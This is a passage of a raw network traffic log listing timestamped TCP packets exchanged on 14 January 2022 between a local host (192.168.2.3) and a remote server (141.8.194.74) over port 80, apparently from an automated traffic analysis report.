Jan 14, 2022 02:05:12.663224936 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663239002 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663279057 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663317919 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663327932 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663356066 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663374901 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663394928 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663434982 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663471937 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663491011 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663511992 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663533926 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663551092 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663589954 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663629055 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663650036 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663666964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663676977 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663712025 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663752079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663789034 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663815022 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663827896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663866043 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663882017 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663904905 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663923979 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663944960 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663981915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.664020061 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.664036989 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.664057970 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.664094925 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.664098024 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.664134026 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.664158106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.664171934 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.664211035 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.664226055 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.664251089 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.664288998 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.664316893 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.664326906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.664494991 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.736422062 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736483097 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736522913 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736561060 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736598969 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736614943 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.736637115 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736646891 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.736679077 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736696005 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.736723900 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736763954 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736799955 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736831903 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.736840963 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736875057 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.736879110 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736917973 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736957073 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.736970901 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.736994028 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737006903 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737034082 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737072945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737087965 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737112045 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737180948 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737220049 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737232924 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737257004 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737270117 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737297058 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737335920 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737375021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737389088 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737415075 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737428904 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737452984 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737492085 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737529993 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737565994 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737603903 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737605095 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737616062 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737644911 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737658978 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737685919 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737728119 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737736940 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737766027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737804890 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737842083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737865925 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737910986 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.737915039 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737953901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.737993002 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.738007069 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.738029957 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.738069057 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.738106012 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.738118887 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.738143921 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.738162041 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.738183975 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.738223076 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.738260984 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.738280058 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.738301039 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.738316059 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.738339901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.738739967 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.810338020 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810399055 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810439110 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810477018 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810493946 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.810517073 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810528994 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.810559034 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810605049 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810623884 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.810647011 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810686111 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810726881 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810735941 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.810767889 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810775042 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.810808897 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810847998 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810863972 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.810885906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810925007 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810964108 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.810977936 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.811002016 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811012030 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.811043024 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811137915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811197042 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.811260939 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811300039 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811316013 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.811357975 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811398029 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811434984 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811453104 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.811484098 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.811507940 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811546087 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811584949 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811624050 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811641932 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.811672926 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.811697960 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811738968 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811779976 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811819077 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811835051 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.811868906 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.811891079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811928988 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.811965942 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812005043 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812021017 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.812055111 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.812078953 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812118053 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812155962 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812192917 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812208891 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.812242031 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.812264919 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812304020 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812340021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812378883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812393904 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.812423944 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.812448978 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812486887 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812524080 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812563896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.812580109 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.812612057 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.885144949 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885201931 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885262012 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885303020 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885324955 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.885368109 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.885390997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885432005 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885471106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885507107 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885524988 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.885564089 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.885581970 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885621071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885662079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885699987 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885720015 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.885751009 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.885776043 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885814905 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885885954 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885926962 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.885943890 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.885977983 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.886002064 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886040926 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886076927 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886115074 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886153936 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886192083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886229992 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886267900 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886305094 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886343002 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886382103 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886414051 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.886440039 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886478901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886518955 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886548042 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.886579990 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.886595964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886636019 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886672020 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886708975 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886749983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886786938 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886825085 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886863947 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886903048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886941910 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.886977911 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.887017012 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.887057066 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.887094975 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.887125015 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.887156963 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.887167931 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.887206078 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.887245893 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.887279987 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.887304068 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.887358904 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.959671021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.959788084 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.959872007 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.959919930 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.959997892 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960038900 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960083008 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.960138083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960211992 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.960239887 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960308075 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960387945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960448027 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.960513115 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960568905 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.960632086 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960691929 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960772038 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960829020 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.960875034 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.960922003 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.960984945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961062908 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961116076 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961150885 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.961173058 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961215973 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961225986 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.961266041 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961304903 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961342096 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961359024 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.961391926 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.961414099 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961452961 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961491108 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961539984 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961560011 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.961596012 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.961611986 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961652040 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961689949 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961738110 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961750031 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.961785078 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.961808920 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961880922 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961925983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961965084 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.961983919 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962016106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962040901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962080956 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962117910 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962163925 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962174892 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962207079 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962232113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962270021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962306976 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962343931 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962361097 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962393999 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962419033 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962457895 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962496996 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962533951 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962551117 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962589979 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962606907 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962646008 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962685108 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962723017 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962738991 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962769985 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962795973 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962832928 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962871075 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962908983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.962924957 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962956905 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.962979078 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963018894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963058949 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963098049 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.963114977 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.963150024 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.963171005 CET	80	49865	141.8.194.74	192.168.2.3
